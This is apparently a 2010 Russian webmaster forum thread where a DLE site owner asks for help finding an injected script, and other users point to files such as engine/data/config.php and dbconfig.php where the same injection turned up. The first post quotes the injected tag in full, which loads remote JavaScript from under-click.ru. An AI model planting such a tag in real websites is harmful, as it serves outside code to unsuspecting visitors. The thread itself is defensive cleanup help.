Скрытый код на сайте помогите найти?

Тема в разделе "Мегафлуд", создана пользователем -denver, 31 авг 2010.

Статус темы:
Закрыта.
  1. -denver

    -denver Создатель

    Регистр.:
    14 сен 2009
    Сообщения:
    40
    Симпатии:
    6
    Всем привет, у меня такая проблема, у меня на сайте DLE движек сидит скрытый код вот этот
    under-click.ru а скорей всего установлено вот этот скрипт

    <script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.ru/js/if.php?id=5443"></script>

    всё облазил, а найти его не могу, помогите?
     
  2. Шейла

    Шейла

    Регистр.:
    12 май 2008
    Сообщения:
    565
    Симпатии:
    158
    Ты в сорсах у себя это видиш?
     
  3. -denver

    -denver Создатель

    Регистр.:
    14 сен 2009
    Сообщения:
    40
    Симпатии:
    6
    в мозиле дополнение есть где ява скрипты разрешать, вот там когда сайт открываешь, он просит разрешить under-click.ru этот скрипт

    Добавлено через 1 минуту
    в вебмастере яндекс пишет сообщение что зловредный код где то на сайте и посешение упало на 1000 чел
     
  4. Шейла

    Шейла

    Регистр.:
    12 май 2008
    Сообщения:
    565
    Симпатии:
    158
    Уважаемый вас поломали или шел всунули или .....

    В сорсы вашего двигла именно двигла вставлен именно этот код.
    Сам скрипт находится по линку h9tp://under-click.ru/js/if.php?id=5443

    Можеш абузу накатать в under-click.ru что юзер с ID 5443 занимается ломом, хотя это может быть и не он, а его "хороший друг"

    DLE мне не знаком где точно смотреть не скажу, спроси у длешников.
    Можеш по *.php файлам на хостинге поискать этот код.
     
  5. zm8

    zm8 Постоялец

    Регистр.:
    26 июн 2007
    Сообщения:
    133
    Симпатии:
    21
    Была такая же фигня на нескольких моих DLE сайтах. Такой же код от under-click.ru

    Ищи его в файле engine/data/config.php (внизу файла)

    Хостинг случайно не firstvds.ru ?
     
  6. -denver

    -denver Создатель

    Регистр.:
    14 сен 2009
    Сообщения:
    40
    Симпатии:
    6
    нет, хостинг 7 dns.ru

    Добавлено через 3 минуты
    нет, здесь нету, может еще кто поможет, может у кого было такое?
     
  7. X_kom

    X_kom Постоялец

    Регистр.:
    29 янв 2007
    Сообщения:
    53
    Симпатии:
    5
    только что тоже удалил код under-click'а. всунули код в dbconfig.php
     
  8. mdss

    mdss ♖♘♗♕♔♗♘♖

    Moderator
    Регистр.:
    20 фев 2007
    Сообщения:
    1.126
    Симпатии:
    668
    скачай все файлы да поиском пройдись, проблема то
     
  9. CheburatoR-all

    CheburatoR-all Гипножаба

    Регистр.:
    26 апр 2009
    Сообщения:
    296
    Симпатии:
    437
    engine/engine.php -> $head както так. Ищи тут
     
Статус темы:
Закрыта.